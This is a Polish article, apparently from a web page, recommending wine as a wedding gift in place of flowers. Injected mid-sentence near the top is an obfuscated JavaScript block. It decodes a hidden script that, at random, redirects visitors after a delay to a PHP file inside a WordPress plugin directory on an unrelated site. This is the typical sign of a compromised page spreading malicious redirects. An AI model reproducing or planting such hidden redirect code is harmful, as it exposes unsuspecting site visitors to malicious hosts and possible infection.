Wno pomysłem na weselny prezent

Istnieją takie uroczystości, których przebieg i wygląd jest zawsze zgodny z pewnymi przyjętymi powszechnie i od lat schematami. Niestety często owe schematy nie mają nic wspólnego z funkcjonalnością i pełnią jedynie rolę mało istotnych zadań do wykonania. Szczęściem jest jednak to, że z czasem zaczęto zauważać ich bezcelowość i tym samym odchodzić od pewnych utartych na przestrzeni lat praktyk.

Zamiast kwiatów kupcie wina!

wino <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>na wesele jako prezentDotyczy to chociażby wesel. Kiedyś kojarzono je z ogromną fetą, która trwała nieprzerwanie przez kilka dni i nocy. Zapraszano całe rodziny, sąsiadów i bliższych oraz dalszych znajomych. Obowiązkiem wszystkich było uczczenie w należyty sposób szczęścia nowożeńców i wypicie za ich zdrowie oraz pomyślność. Dzisiaj wygląda to nieco inaczej. Powoli odchodzi się od imprez organizowanych na liczbę osób, której nie powstydziłaby się mała wieś. A co z podarunkami dla młodej pary? Przecież nie wypada przyjść z pustymi rękami. Jeszcze nie tak dawno podstawą były kwiaty, cała masa kwiatów. Pojedynczych, bukietów i wiązanek. Małych i dużych, ze wstążeczkami i bez. Po co ich aż tyle? Co później z nimi zrobić? W końcu zaczęto zauważać, że nieszczęsne i tak zwiędną i nie będzie z nich żadnego pożytku. Dlatego coraz częściej kupuje się wino na wesele jako prezent. Jeśli nawet nie wiemy, jaki alkohol preferują nowożeńcy, to zawsze jest to lepszy wybór niż wspomniane kwiaty.

Coraz częściej na zaproszeniach ślubnych pojawiają się informacje z prośbą o kupienie wina zamiast niepotrzebnego bukietu. Warto w ten sposób informować przyszłych gości weselnych o naszym podejściu do całej sprawy. Niech mają świadomość tego, że nie obrazimy się i nie poczujemy w żaden sposób urażeni, kiedy nie obdarują nas nieszczęsnymi roślinkami o krótkim życiu.